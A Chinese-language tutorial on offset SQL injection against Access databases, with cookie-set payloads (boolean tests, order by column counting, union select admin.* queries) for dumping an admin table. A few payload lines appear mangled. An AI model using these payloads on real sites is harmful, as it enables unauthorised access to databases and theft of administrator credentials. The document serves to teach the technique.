- 每日一句:Access注入最能考验一个人的耐心
- 本篇内容:偏移注入使用场景
偏移注入步骤
偏移注入实战注意
一、偏移注入使用场景
1.>sql注入的时候会遇到一些无法查询列名的问题,比如系统自带数据库的权限不够而无法访问系统自带库;
>或者遇到Access数据库;
>当你猜到表名而不能猜到字段时,可以用偏移注入去查询那个表里的数据;
>像sqlmap之类的工具实际上是爆破字段的名字,但是如果字段名称比较奇葩;
例如 :anno_236aafas之类的字段名就很无奈了
总结:权限不够
遇到access数据库,且列名很奇葩,很难爆破
二、偏移注入步骤
1.前提:只有知道表名而不知道列名下,才可以使用偏移注入
猜表名(admin)——猜猜猜!!!!
2.找到注入点(例如在cookie处)
document.cookie=“id=”+escape(“XXX and 1=1”) url栏回车页面正常
document.cookie=“id=”+escape(“XXX and 1=2”) url栏回车页面错误
说明有注入
3.爆当前字段数
document.cookie=“id=”+escape(“888 order by 26”)
url回车正常说明有26个字段
document.cookie=“id=”+escape(“888 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
,16,17,18,19,20,21,22,23,24,25,26 from admin”)
url回车正常,同时出现回显点 3,5,7是回显点
开始爆破:
document.cookie=“id=”+escape(“888 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
,16,17,18,19,20,21,22,23,24,25,admin.* from admin”)
url回车,不正常
挨着试!!!!
document.cookie=“id=”+escape(“888 union select 1,2,3,4,5,6,7,8,9,10,admin.* from admin”) url栏回车正常;说明admin有16个字段,我们添加了10个字段
注意:但如果一直到 union select admin.* from admin都报错,那就说明admin表有不止26个字段
4.爆字段内容
document.cookie=“id=”+escape(“XXX union select admin.,1,2,3,4,5,6,7,8,9,10,from admin")
url栏回车,显示出了admin表第3 5 7字段的具体内容
document.cookie=“id=”+escape("XXX union select 1,2,admin.,3,4,5,6,7,8,9,10,from admin”)
url栏回车,显示出了第1个字段的内容
其他的内容也是这样,都可以爆出来
三、偏移注入实战注意
1.联合查询的字段比被查询的字段多
前表的字段要比后边的多,但若前表的子段比后表的少,就不能偏移注入了
例如:
select * from admin union select * from name; 字段相等
select * from admin union select ,2 from name; 前表比后表多一个字段。注意:最好写成name. * 不然容易出错;不一定非要2(随便写,只是代表位置)。
2.admin.*的含义:
A库.A表.id 表示A库中A表的id字段
A库.A表.wd 表示A库中A表的wd字段
A库.A表.* 表示A库中A表的所有字段
3.隐藏输出点
有的输出点,可能是因为是图片,但是我们填写的是数字,而没有显示;
这样的话,我们可以检查源代码。
四、总结
- 切记:Access只有一个数据库,没有什么系统自带库;
- 猜表名(实际一点就行);
- 爆破过程有点麻烦,一定要有耐心。